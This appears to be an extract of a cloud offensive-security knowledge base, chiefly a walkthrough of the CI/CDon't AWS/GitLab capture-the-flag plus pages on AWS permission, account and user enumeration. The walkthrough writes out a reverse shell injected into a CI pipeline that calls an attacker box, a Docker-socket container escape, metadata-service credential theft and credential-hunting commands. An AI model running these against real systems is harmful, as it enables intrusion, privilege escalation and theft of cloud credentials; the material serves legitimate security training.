export AWS_STS_REGIONAL_ENDPOINTS=regional\n

This is because some versions of the AWS SDK default to using the global STS endpoint at sts.amazonaws.com. This is problematic because VPC endpoints are regional (e.g. sts.us-east-1.amazonaws.com). The result is that if you use a version that is expecting the global endpoint with SneakyEndpoints, the connection will timeout.

"},{"location":"aws/capture_the_flag/cicdont/","title":"CI/CDon't","text":"

Link to Project: CI/CDon't

Note

This project will deploy intentionally vulnerable software/infrastructure to your AWS account. Please ensure there is no sensitive or irrecoverable data in the account. Attempts have been made to mitigate this however they may not be fullproof; Security Group rules only allow access to the vulnerable EC2 instance from your public IP address, and a randomly generated password is required to access it.

Warning

If you intend to play the CTF it is a good idea to read through this page carefully to ensure you have all the details (minus the walkthrough). This page will familiarize the player with how the CTF works, what the objective is, and what the storyline is.

"},{"location":"aws/capture_the_flag/cicdont/#background","title":"Background","text":"

This is an AWS/GitLab CI/CD themed CTF that you can run in your own AWS account. All that is required is an AWS account and Terraform installed locally on your machine.

Costs should be minimal; running this infrastructure in my own account for three hours didn't accrue a cent in the Billing Dashboard, however extended time frames may cause costs to add up.

In terms of difficulty, it would be rated low. The goal is more about having fun and working through some simple CI/CD/AWS challenges that even non-security folks would enjoy.

"},{"location":"aws/capture_the_flag/cicdont/#how-to-play","title":"How to Play","text":"

Clone this repository and navigate to the cicdont directory.

git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git\ncd htc-ctfs/aws/cicdont\n

To deploy the CTF environment run the Terraform init/apply command.

terraform init\nterraform apply\n

You will be prompted with two questions. The first is a consent related to the costs of the CTF (Again, these should be minimal however the environment should still be taken down when you're finished with it). The second is asking your player name. Please do not use special characters in the name, only upper and lower case letters. This will be used in the game.

Note

It will take approximately 10 minutes for all the infrastructure to be deployed and ready. This 10 minute timer begins AFTER the Terraform apply has completed. This time is used to install all the software, create the NPCs, etc.

Warning

To be able to access the vulnerable instance, Terraform will attempt to determine your public IP address and create a security group that only that IP address can access. If you cannot access the target_ip (explained below) after 10 minutes, check the AWS console for a security group named allow_http and ensure that its configuration would allow you to reach it.

To destroy the CTF environment run the Terraform destroy command.

terraform destroy\n

This will again prompt you for the two questions. Please answer them and the infrastructure will be destroyed.

"},{"location":"aws/capture_the_flag/cicdont/#the-important-bits","title":"The Important Bits","text":"

Once you've run terraform apply, you will receive 5 outputs. This will include the following:

  • Player Username
  • Player Password (randomly generated)
  • Attackbox IP
  • Target IP
  • Time warning

The attackbox is an EC2 instance you can use for whatever purposes you deem fit. In particular you can use it to catch a reverse shell, or load your C2 platform of choice on it (you have sudo access via the password).

To access the attackbox, you can ssh using your player username and password.

ssh <player username>@<attackbox IP>\n

Note

When sshing with a player username, note that the username is case-sensitive.

It will take approximately 10 minutes for all the infrastructure to finish deploying. If you'd like to test if it's finished, you can navigate to http://<target IP>/. If it doesn't respond, or only shows a generic GitLab login page, then the CTF is not ready yet. If you see a message about SoftHouseIO, then everything is setup and ready.

Note

To be able to access the vulnerable instance, Terraform will attempt to determine your public IP address and create security group rules that only that IP address can access. If you cannot access the target instance after 10 minutes (likely shorter), check the AWS console for a security group named allow_http and ensure that it's configuration would allow you to reach it.

These security group rules apply to both the target (GitLab) and the attackbox. Additionally, the rules are configured to allow the attackbox to receive incoming traffic from the target (to catch shells).

If you see any references to gamemaster, please ignore it. Those scripts are used to simulate the NPCs and have them complete their lore tasks. It is unrelated to the challenge.

"},{"location":"aws/capture_the_flag/cicdont/#the-story","title":"The Story","text":"

You are <player username>, a developer at SoftHouseIO, an independent software development consultancy firm. While you like the company, you're thinking about making a little money on the side, perhaps through not entirely legal means. Can you say ransomware?

After planning your attack you figure the best place to get started is the company GitLab server at http://<target IP>. Your username and password should you get you in. You'll want to gain access to administrative credentials for the AWS account the company uses.

"},{"location":"aws/capture_the_flag/cicdont/#the-objective","title":"The Objective","text":"

Gain access to the aws_admin_automation_user through whatever means necessary (Note that this role has no permissions. It is simply the goal).

"},{"location":"aws/capture_the_flag/cicdont/#feedback","title":"Feedback","text":"

Want to provide feedback on the challenge? Open a new discussion on GitHub

"},{"location":"aws/capture_the_flag/cicdont/#walkthrough","title":"Walkthrough","text":"

The following is a step by step walkthrough of the CTF. You can refer to this if you get stuck or simply just want to know what is next. Click the summary below to expand it.

Summary

Consent and Name

To begin the CTF we must first stand up all the infrastructure. We do this using Terraform.

Download the challenge using git.

git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git\ncd htc-ctfs/aws/cicdont\n

Initialize the project.

terraform init\n

Create the infrastructure.

terraform apply\n

We will be prompted first with a consent. Read through the question and answer with yes or no.

After this, it will ask for a player name. Please only use lower and uppercase letters. No special characters or numbers.

After this, you will be asked if you'd like to perform the deployment. Answer with \"yes\".

The Terraform deployment will begin.

Wait

Note

You will now need to wait 10 minutes for the deployment to finish. The 10 minute timer starts AFTER you get the \"Apply complete\" notification.

Does it really take 10 minutes? Yes, it takes a little bit to get everything setup. You can take this time to get familiar with your attackbox. This is an EC2 instance you can use for whatever you need during the CTF, particularly to catch shells.

You can ssh into the box using your username and password

ssh <player_username>@<target_ip>\n

Note

The username is case-sensitive.

Getting Started

After waiting those 10 minutes, you finally have a target. You can navigate to the target_ip to see a GitLab instance. Log in using your player username and password.

From here, you can navigate around, explore the various projects, and more. You might even notice a little notification in the upper right hand corner.

Ashley has some work for us! Perhaps this will give us a hint for something we can exploit.

Navigate to the mvp-docker project's Issues page.

This is interesting for a few reasons. Most notably, Ashley wants some help with building a Docker container as a part of the CI/CD pipeline. She also mentions a gitlab-ci.yml file, which is the configuration for the GitLab CI/CD pipeline.

Building Docker images as a part of a CI/CD pipeline can have serious security implications and this is definitely worth looking into.

Before we can get to that fun, let's take a look at that gitlab-ci.yml file. Navigate there and make some changes (you can edit the file through the web browser if you prefer or you can clone the project locally).

After committing changes (via the web interface or otherwise) you can navigate to the CI/CD tab on the left to see the pipeline execute.

Clicking on the status, and then the build job we can see the output.

This can tell us a few things that are very useful to us as attackers. First, on line 3, we see that the CI/CD pipeline is using the \"docker\" executor, meaning everything executes inside a Docker container somewhere. On line 6, we see that it is using an Ubuntu Docker image. And lines 20+ show us that our input is executing in this environment.

This looks like a fantastic place to start.

Getting a Reverse Shell

Our next step will be to get a shell in this environment. This is where our attackbox can come in.

Please note: You are welcome to use your C2 platform of choice (If you'd like a recommendation, I'm a fan of Mythic). For this walkthrough I will use netcat for simplicity.

SSH into your attack box and install a tool called ncat.

Now, we can setup a listener (from the attackbox) with the following command.

sudo ncat -l 443 --ssl -v\n

We can now go back and edit the gitlab-ci.yml file to send a reverse shell. Using Ncat it's as easy as adding the following lines. From our previous foray we know this is an Ubuntu Docker container, and thus, we can use the apt package manager.

apt update\napt install -y ncat\nncat <attackbox_ip> 443 --ssl -e /bin/bash -v\n

Now click \"Commit changes\" and watch that pipeline run.

You are now the proud owner of a reverse shell inside this Docker container.

Docker Socket

From here, there are a number of things we could try to do. Your first instinct may be, \"I'm on an EC2 instance, can I reach the metadata service?\". That's a great idea! Unfortunately you can't.

The bright folks over at SoftHouseIO use IMDSv2, one of the benefits of which is that Docker containers cannot reach it by default.

TTL of 1: The default configuration of IMDSv2 is to set the Time To Live (TTL) of the TCP packet containing the session token to \"1\". This ensures that misconfigured network appliances (firewalls, NAT devices, routers, etc.) will not forward the packet on. This also means that Docker containers using the default networking configuration (bridge mode) will not be able to reach the instance metadata service.\n

That's a bummer. Other options? Try and pivot off this machine to something else in the VPC? Access a service exposed internally to the host (172.17.0.1)? Escape the container?

That last one might get us somewhere. Ashley mentioned having some issues about building a Docker container in the pipeline. To do that, wouldn't they have to use something like kaniko? What if they just exposed the Docker socket instead?

When a Docker socket is exposed inside a container, it can have dangerous consequences as an attacker can potentially escape the container and escalate privileges on the host.

The common location for the socket is at /var/run/docker.sock, let's go look for it.

There we go! They did mount the Docker socket! Let's use this to escape the container.

Escaping the Container

Note: There are many different ways you could abuse this to escape the container. I will walk through what I think is the simplest.

First let's install two tools that will make things easier for ourselves.

apt update\napt install -y python3 docker.io\n

Python3 will help us to spawn a tty and having the Docker binary will make it easier to interact with the Docker socket. We could alternatively use curl.

With those two tools installed, let's spawn a tty with the classic Python one-liner.

python3 -c \"import pty;pty.spawn('/bin/bash')\"\n

Doesn't that looks so much better? We have an actual shell prompt now. This will be useful for interacting with the Docker socket. Speaking of which, let's see which Docker containers are running on the host.

docker ps\n

This output lets us know that everything is working as intended. With access to the Docker socket, let's escape by creating a privileged Docker container (Note: There are a number of options to do this).

docker run -it --rm --pid=host --privileged ubuntu bash\n

Now, inside our new privileged container, let's migrate to the namespace of a process running on the host.

nsenter --target 1 --mount --uts --ipc --net --pid -- bash\n

How fun is that?! We now have root on the underlying host and have escaped the container.

Escalating

With root on the host, we have a number of options for next steps. We can steal IAM credentials from the metadata service, brute force our IAM permissions, enumerate roles in the account to find out what services are running in the account, attempt to escalate IAM privileges, maybe try to intercept the SSM agent if it's running on the box? One place we should check before doing all that is the user data.

User data is used to run commands when an EC2 instance is first started or after it is rebooted (with the right configuration). This can be very helpful to determine what software is installed on the machine, and it can also potentially be a source of credentials from developers who aren't very careful.

Let's check this (remember we are using IMDSv2).

TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" -v http://169.254.169.254/latest/user-data/\n

On first glance it appears pretty standard; It installs GitLab, installs the GitLab runners, activates them, etc.

There is a slight problem though, on the line where they installed GitLab, they accidentally leaked a credential. An important one at that. That is the credential to the root user of GitLab.

This is bad news for SoftHouseIO and great news for us. Let's use this to log into the GitLab web UI as an administrator (username: root, password: <what's in the useradata>)

After exploring around for a little while, you may stumble into the the infra-deployer project. That sounds important.

\"Admin IAM Credentials are being stored in environment variables to be used with the GitLab runners\". That sounds.....very interesting. The good news is that as an administrator, we can see those variables. Navigate to the Settings tab on the left and then click CI/CD. Next, click Expand on the Variables section.

An Access Key and a Secret Access Key! Let's see who they belong to (you can also do this without logging to CloudTrail if you were so inclined).

export AWS_ACCESS_KEY_ID=AKIA....\nexport AWS_SECRET_ACCESS_KEY=....\naws sts get-caller-identity\n

And with that we have achieved our objective! Congratulations on completing the CTF. Want to provide some feedback? Feel free to open a discussion on GitHub.

"},{"location":"aws/capture_the_flag/cicdont/#acknowledgements","title":"Acknowledgements","text":"

These wonderful folks helped beta-test this CTF and provided feedback.

Christophe Tafani-Dereeper Jake Berkowsky Kaushik Pal

"},{"location":"aws/deprecated/stealth_perm_enum/","title":"[Deprecated] Enumerate Permissions without Logging to CloudTrail","text":"
  • Original Research

    Enumerate AWS API Permissions Without Logging to CloudTrail by Nick Frichette

  • Tools mentioned in this article

    aws_stealth_perm_enum

Warning

As of 5/18/2021, this technique has been resolved and fixed by AWS. Mutating the Content-Type header when making API requests no longer can be used to enumerate permissions of a role or user. This page is maintained for historical and inspiration purposes.

After compromising an IAM credential while attacking AWS, your next task will be to determine what permissions that credential has scoped to them.

Aside from guessing, enumerating these permissions would typically require a tool to brute force them like enumerate-iam (which is a fantastic tool). The problem of course is that this will generate a ton of CloudTrail logs and will alert any defender. This poses a challenge to us, how can we enumerate permissions in a stealthy manner?

The good news is that there is a bug in the AWS API that affects 589 actions across 39 different AWS services. This bug is a result of a mishandling of the Content-Type header, and when that header is malformed in a specific way the results are not logged to CloudTrail. Based on the response codes/body we can determine if the role does or does not have permission to make that API call.

The following services are affected, although please note, that not all actions for these services can be enumerated.

application-autoscaling appstream athena autoscaling-plans aws-marketplace cloudhsm codecommit codepipeline codestar comprehend cur datapipeline dax discovery forecast gamelift health identitystore kinesis kinesisanalytics macie mediastore mgh mturk-requester opsworks-cm personalize redshift-data route53domains route53resolver sagemaker secretsmanager shield sms snowball support tagging textract translate workmail

Note

For an in depth explanation for the bug, please see the original research. In this article we will just discuss how to take advantage of it.

There are some conditions to the enumeration, and they are defined below.

1 - The AWS service uses the JSON 1.1 protocol. 2 - The API actions returns a unique error code depending on the permission set. 3 - The resource associated with that action is set to \"*\".

To perform the enumeration there is a script here. Setting the credentials as environment variables and then running the script will inform you what API permissions you have available to you.

"},{"location":"aws/deprecated/whoami/","title":"[Deprecated] Whoami - Get Principal Name From Keys","text":""},{"location":"aws/deprecated/whoami/#sns-publish","title":"sns publish","text":"

Warning

As of Q4 2023 these calls can optionally be tracked in CloudTrail by enabling dataplane logging. While this will not be enabled for the overwhelming majority of AWS accounts, there is no reason to risk it when there are other methods available.

sns:Publish would return the ARN of the calling user/role without logging to CloudTrail. To use this method, you had to provide a valid AWS account ID in the API call. This could be your own account id, or the account id of anyone else.

user@host:~$ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa\n\nAn error occurred (AuthorizationError) when calling the Publish operation: User: arn:aws:iam::123456789123:user/no-perm is not authorized to perform: SNS:Publish on resource: arn:aws:sns:us-east-1:*account id*:aaa because no resource-based policy allows the SNS:Publish action\n
"},{"location":"aws/deprecated/whoami/#sdb-list-domains","title":"sdb list-domains","text":"

Warning

As of August 15, 2020 these calls are now tracked in CloudTrail (tweet). This page is maintained for historical and inspiration purposes.

As found by Spencer Gietzen, the API call for sdb list-domains will return very similar information to get-caller-identity.

user@host:$ aws sdb list-domains --region us-east-1\n\nAn error occurred (AuthorizationFailure) when calling the ListDomains operation: User (arn:aws:sts::123456789012:assumed-role/example_role/i-00000000000000000) does not have permission to perform (sdb:ListDomains) on resource (arn:aws:sdb:us-east-1:123456789012:domain/). Contact account owner.\n
"},{"location":"aws/enumeration/account_id_from_ec2/","title":"Enumerate AWS Account ID from an EC2 Instance","text":"

With shell or command line access to an EC2 instance, you will be able to determine some key information about the AWS account.

"},{"location":"aws/enumeration/account_id_from_ec2/#get-caller-identity","title":"get-caller-identity","text":"

By using get-caller-identity, the EC2 instance may have an EC2 instance profile setup.

user@host:$ aws sts get-caller-identity\n{\n   \"Account\": \"000000000000\",\n   \"UserId\": \"AROAJIWIJQ5KCHMJX4EWI:i-00000000000000000\",\n   \"Arn\": \"arn:aws:sts::000000000000:assumed-role/AmazonLightsailInstanceRole/i-00000000000000000\"\n}\n
"},{"location":"aws/enumeration/account_id_from_ec2/#metadata","title":"Metadata","text":"

By using the metadata service, you will be able to retrieve additional information about the account, and more specifically for the EC2 instance being used.

TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/dynamic/instance-identity/document\n
The output will reveal additional information.
{\n   \"accountId\" : \"000000000000\",\n   \"architecture\" : \"x86_64\",\n   \"availabilityZone\" : \"ap-southeast-2a\",\n   \"billingProducts\" : null,\n   \"devpayProductCodes\" : null,\n   \"marketplaceProductCodes\" : null,\n   \"imageId\" : \"ami-042c4533fa25c105a\",\n   \"instanceId\" : \"i-00000000000000000\",\n   \"instanceType\" : \"t2.nano\",\n   \"kernelId\" : null,\n   \"pendingTime\" : \"2022-02-27T22:34:30Z\",\n   \"privateIp\" : \"172.26.6.225\",\n   \"ramdiskId\" : null,\n   \"region\" : \"ap-southeast-2\",\n   \"version\" : \"2017-09-30\"\n}\n

"},{"location":"aws/enumeration/account_id_from_s3_bucket/","title":"Enumerate AWS Account ID from a Public S3 Bucket","text":"
  • Original Research

    Finding the Account ID of any public S3 bucket by Ben Bridts

  • Tools mentioned in this article

    s3-account-search: A tool to find the account ID an S3 bucket belongs to.

Note

When you install a version <0.2.0 using pip, the executable is named s3-account-search.

By leveraging the s3:ResourceAccount policy condition, we can identify the AWS account ID associated with a public S3 bucket. This is possible because it supports wildcards (*). With this, we can sequentially enumerate the account ID.

To test this, you can use Grayhat Warfare's list of public S3 buckets.

You will need a role with s3:getObject and s3:ListBucket permissions, and you can specify the target bucket as the resource for your policy. Alternatively, you can set a resource of '*' to quickly test multiple buckets.

"},{"location":"aws/enumeration/account_id_from_s3_bucket/#installation","title":"Installation","text":"

The tool can be installed with the following command:

python3 -m pip install s3-account-search\n
"},{"location":"aws/enumeration/account_id_from_s3_bucket/#setup","title":"Setup","text":"

To use the tool, there is some setup on your end. You will need your own AWS account with a role you can assume with the s3:GetObject or s3:ListBucket permissions. s3-account-finder will assume this role so make sure the credentials you're using can do this.

"},{"location":"aws/enumeration/account_id_from_s3_bucket/#usage","title":"Usage","text":"
s3-account-search arn:aws:iam::123456789123:role/s3-searcher <bucket name>\nStarting search (this can take a while)\nfound: 1\nfound: 12\n*** snip ***\nfound: 123456789123\n

Operational Security Tip

As of 2022's announcement, any new buckets are created without the Public Access policy and specifically without any ACLs. The removal of the ACLs means that the GetObject, instead you must enable the AWS ACLs that make S3 Buckets readable in addition to having GetBucket in the IAM Policy. Here is a terraform block to enable this abuse which use to be the default pre-2022.

```\nresource \"aws_s3_bucket_ownership_controls\" \"example\" {\n    bucket = aws_s3_bucket.example.id\n    rule {\n        object_ownership = \"BucketOwnerPreferred\"\n    }\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"example\" {\n    bucket = aws_s3_bucket.example.id\n\n    block_public_acls       = false\n    block_public_policy     = false\n    ignore_public_acls      = false\n    restrict_public_buckets = false\n}\n\nresource \"aws_s3_bucket_acl\" \"example\" {\n    bucket = aws_s3_bucket.example.id\n    acl    = \"public-read\"\n\n    depends_on = [\n        aws_s3_bucket_ownership_controls.example,\n        aws_s3_bucket_public_access_block.example\n    ]\n}\n```\n

Tip

Pair this with Unauthenticated Enumeration of IAM Users and Roles!

"},{"location":"aws/enumeration/brute_force_iam_permissions/","title":"Brute Force IAM Permissions","text":"
  • Technique seen in the wild

    Reference: Compromised Cloud Compute Credentials: Case Studies From the Wild

  • Tools mentioned in this article

    enumerate-iam: Enumerate the permissions associated with an AWS credential set.

When attacking AWS you may compromise credentials for an IAM user or role. This can be an excellent step to gain access to other resources, however it presents a problem for us; How do we know what permissions we have access to? While we may have context clues based on the name of the role/user or based on where we found them, this is hardly exhaustive or thorough.

This leaves us with basically one option, brute force the permissions. To do this, we will try as many safe API calls as possible, seeing which ones fail and which ones succeed. Those that succeed are the permissions we have available to us. There are several tools to do this, however, here we will be covering enumerate-iam by Andr\u00e9s Riancho.

To use enumerate-iam, simply pull a copy of the tool from GitHub, provide the credentials, and watch the magic happen. All calls by enumerate-iam are non-destructive, meaning only get and list operations are used. This reduces the risk of accidentally deleting something in a client's account.

user@host:/enum$ ./enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY --session-token $AWS_SESSION_TOKEN\n2020-12-20 18:41:26,375 - 13 - [INFO] Starting permission enumeration for access-key-id \"ASIAAAAAAAAAAAAAAAAA\"\n2020-12-20 18:41:26,812 - 13 - [INFO] -- Account ARN : arn:aws:sts::012345678912:assumed-role/role-b/user-b\n2020-12-20 18:41:26,812 - 13 - [INFO] -- Account Id  : 012345678912\n2020-12-20 18:41:26,813 - 13 - [INFO] -- Account Path: assumed-role/role-b/user-b\n2020-12-20 18:41:27,283 - 13 - [INFO] Attempting common-service describe / list brute force.\n2020-12-20 18:41:34,992 - 13 - [INFO] -- codestar.list_projects() worked!\n2020-12-20 18:41:35,928 - 13 - [INFO] -- sts.get_caller_identity() worked!\n2020-12-20 18:41:36,838 - 13 - [INFO] -- dynamodb.describe_endpoints() worked!\n2020-12-20 18:41:38,107 - 13 - [INFO] -- sagemaker.list_models() worked!\n
"},{"location":"aws/enumeration/brute_force_iam_permissions/#updating-apis","title":"Updating APIs","text":"

With an attack surface that evolves as rapidly as AWS, we often have to find and abuse newer features. This is one area where enumerate-iam shines. The tool itself has a built in feature to read in new AWS API calls from the JavaScript SDK, and use that information to brute force. After downloading enumerate-iam, perform the following steps to update the API lists.

cd enumerate_iam/\ngit clone https://github.com/aws/aws-sdk-js.git\npython generate_bruteforce_tests.py\n

This will create or update a file named bruteforce_tests.py under enumerate-iam.

"},{"location":"aws/enumeration/brute_force_iam_permissions/#opsec-considerations","title":"OPSEC Considerations","text":"

One thing to note is that this tool is very noisy and will generate a ton of CloudTrail logs. This makes it very easy for a defender to spot this activity and lock you out of that role or user. Try other methods of permission enumeration first, or be willing to lose access to these credentials before resorting to brute-force.

"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/","title":"Bypass Cognito Account Enumeration Controls","text":"
  • Additional Resources

    AWS Docs: Managing user existence error responses

Amazon Cognito is a popular \u201csign-in as a service\u201d offering from AWS. It allows developers to push the responsibility of developing authentication, sign up, and secure credential storage to AWS so they can instead focus on building their app.

By default, Cognito will set a configuration called Prevent user existence errors. This is designed to prevent adversaries from enumerating accounts and using that information for further attacks, such as credential stuffing.

While this is useful in theory, and a good default to have, it can be bypassed via cognito-idp:SignUp calls for usernames. This bypass was originally reported via a GitHub issue in July 2020 and Cognito is still vulnerable as of early 2024.

Note

Cognito user pools can be configured to prevent disclosing user existence errors via alias attributes for email addresses and phone numbers, but not usernames. Be mindful that the 'Prevent user existence errors' setting does not cover all scenarios as detailed below.

"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#example-responses","title":"Example Responses","text":"

To demonstrate the responses depending on the configuration and if a user does/does not exist, here are some examples. The admin user exists in the user pool and is the account we will be trying to enumerate.

Note

The client-id value for a Cognito User Pool is not secret and is accessible from the JavaScript served by the client.

"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-exists","title":"Prevent user existence errors on and user exists","text":"
$ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=admin,PASSWORD=blah\n\nAn error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.\n
"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-does-not-exist","title":"Prevent user existence errors on and user does not exist","text":"
$ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=notreal,PASSWORD=blah\n\nAn error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.\n
"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-off-and-user-exists","title":"Prevent user existence errors off and user exists","text":"
$ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=admin,PASSWORD=blah\n\nAn error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.\n
"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-off-and-user-does-not-exist","title":"Prevent user existence errors off and user does not exist","text":"
$ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=notreal,PASSWORD=blah\n\nAn error occurred (UserNotFoundException) when calling the InitiateAuth operation: User does not exist.\n

As you can see, an adversary can use the UserNotFoundException and NotAuthorizedException to enumerate whether an account does or does not exist. By enabling the Prevent user existence errors configuration, defenders can successfully mitigate these types of attacks. However we will show how it can be bypassed.

"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#cognito-idpsignup","title":"cognito-idp:SignUp","text":"

The Prevent user existence errors configuration appears to only impact the initiate-auth flow. It does not impact cognito-idp:SignUp. Because of this we can use this API call to enumerate if a user does or does not exist. Please see the following examples:

"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-exists_1","title":"Prevent user existence errors on and user exists","text":"
$ aws cognito-idp sign-up \\\n--client-id 719... \\\n--username admin \\\n--password \"BlahBlah123!\" \\\n--user-attributes Name=email,Value=\"blah@blah.net\"\n\nAn error occurred (UsernameExistsException) when calling the SignUp operation: User already exists\n
"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-does-not-exist_1","title":"Prevent user existence errors on and user does not exist","text":"
$ aws cognito-idp sign-up \\\n--client-id 719... \\\n--username notreal \\\n--password \"BlahBlah123!\" \\\n--user-attributes Name=email,Value=\"blah@blah.net\"\n{\n    \"UserConfirmed\": false,\n    \"CodeDeliveryDetails\": {\n        \"Destination\": \"b***@b***\",\n        \"DeliveryMedium\": \"EMAIL\",\n        \"AttributeName\": \"email\"\n    },\n    \"UserSub\": \"a20\u2026\"\n}\n
"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#detection-opportunities","title":"Detection Opportunities","text":"

If an adversary is using this technique at scale to identify what accounts exist in your user pool, you can attempt to detect this behavior by alerting on a sudden increase in Unconfirmed user accounts.

Depending on the configuration of your user pool, an adversary could attempt to get around this by using a real email address to confirm the user name.

"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#cloudtrail-and-cloudwatch-limitations","title":"CloudTrail and CloudWatch Limitations","text":"

If you attempt to build detections around this using CloudTrail or CloudWatch, you will run into challenges. This is because a significant portion of useful telemetry (basically all of it) is omitted in these logs. For example, the userIdentity who made the API call is Anonymous

{\n    \"eventVersion\": \"1.08\",\n    \"userIdentity\": {\n        \"type\": \"Unknown\",\n        \"principalId\": \"Anonymous\"\n}\n

And the username and userAttributes are hidden:

\"requestParameters\": {\n    \"clientId\": \"719...\",\n    \"username\": \"HIDDEN_DUE_TO_SECURITY_REASONS\",\n    \"password\": \"HIDDEN_DUE_TO_SECURITY_REASONS\",\n    \"userAttributes\": \"HIDDEN_DUE_TO_SECURITY_REASONS\"\n}\n

For this reason, you can use CloudTrail or CloudWatch to track the number of cognito-idp:SignUp calls, and their associated sourceIPAddress, but not access their details.

"},{"location":"aws/enumeration/discover_secrets_in_public_aims/","title":"Discover secrets in public AMIs","text":"
  • Original Research

    AWS CloudQuarry: Digging for Secrets in Public AMIs by Eduard Agavriloae and Matei Josephs.

For EC2 instances, Amazon Machine Images (AMIs) are crucial as they contain the essential information required to launch instances, including the operating system, configuration files, software, and relevant data. A significant security consideration of these AMIs is that they can be (either accidentally or intentionally) made public, thus accessible for anyone to utilize and potentially exploit.

"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#finding-exposed-amis","title":"Finding Exposed AMIs","text":"

Many instances of resource exposure (and subsequent exploitation) in AWS necessitate knowing the AMI ID. This offers some level of security-by-obscurity as an attacker needs the AMI ID to exploit the resource.

However, if AMIs are marked public, the list of available public AMIs is accessible through the AWS API. If you know the account ID, you can easily run through all regions to see if any public AMIs are available:

aws ec2 describe-images --owners <account_id> --include-deprecated --region <region>\n
"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#using-public-amis-and-scanning-for-credentials","title":"Using Public AMIs and Scanning for Credentials","text":"

Once you've identified public AMIs, you can use them to launch instances and manually scan for sensitive information, including credentials.

"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#launching-an-instance-from-a-public-ami","title":"Launching an Instance from a Public AMI","text":"

To launch an instance from a public AMI, follow these steps:

  1. Launch an Instance: Using the AWS CLI, launch an instance using the desired AMI:
    aws ec2 run-instances --image-id <image_id> --instance-type t2.micro --key-name <key-pair>\n
  2. Access the Instance: Once the instance is running, connect to it using Session Manager or SSH:
    ssh -i <your-key-pair>.pem ec2-user@<public-dns-of-instance>\n
"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#manually-scanning-for-credentials","title":"Manually Scanning for Credentials","text":"

Manual scanning involves checking common locations where credentials may be stored. Here are some typical command-line operations that can help:

  1. Search for AWS Credentials:
    find / -name \"credentials\" -type f\n
  2. Search for SSH Keys:
    find / -name \"id_rsa\" -type f\n
  3. Look for Configuration Files Containing Sensitive Information: Use grep to locate keywords such as 'password', 'secret', 'key', etc.
    grep -ri 'password\\|secret\\|key' /path/to/search\n
"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#automating-the-process","title":"Automating the Process","text":"

While the manual process can be effective for targeted searches, automation provides efficiency and consistency at scale.

You can write scripts or use specialized tools to automate the detection of sensitive information. Here are some approaches:

  1. Using Bash Scripts: Create a script that executes various find and grep commands. Save this as scan.sh:
    #!/bin/bash\n# Search for AWS credentials\nfind /home -name \"credentials\" -print\n\n# Search for SSH keys\nfind /home -name \"id_rsa\" -print\n\n# Search for sensitive information in configuration files\ngrep -ri 'password\\|secret\\|key' /home\n
    Run the script on each instance:
    chmod +x scan.sh\n./scan.sh\n
  2. Using Specialized Tools: Tools like truffleHog and gitleaks can detect sensitive information in codebases and configurations.
"},{"location":"aws/enumeration/enum_iam_user_role/","title":"Unauthenticated Enumeration of IAM Users and Roles","text":"
  • Original Research

    Hacking AWS end-to-end - remastered by Daniel Grzelak

  • Additional Resources

    Reference: Unauthenticated AWS Role Enumeration (IAM Revisited)

  • Tools mentioned in this article

    • quiet-riot
    • enumerate_iam_using_bucket_policy
    • pacu:iam_enum_roles

You can enumerate AWS Account IDs, Root User account e-mail addresses, IAM roles, IAM users, and gain insights to enabled AWS and third-party services by abusing Resource-Based Policies, even in accounts for which you have no access. Quiet Riot offers a scalable method for enumerating each of these items with configurable wordlists per item type. Furthermore - it also allows you to enumerate Azure Active Directory and Google Workspace valid email addresses - which can then be used to test for valid Root User accounts in AWS, assuming that the email address is the same.

Ultimately, if you want to perform these techniques at scale - Quiet Riot is your best bet, but if you want to do it manually, you can a number of ways to do so. Another way to enumerate IAM principals would be to use S3 Bucket Policies. Take the following example:

{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Example permissions\",\n            \"Effect\": \"Deny\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::123456789123:role/role_name\"\n            },\n            \"Action\": \"s3:ListBucket\",\n            \"Resource\": \"arn:aws:s3:::*bucket you own*\"\n        }\n    ]\n}\n

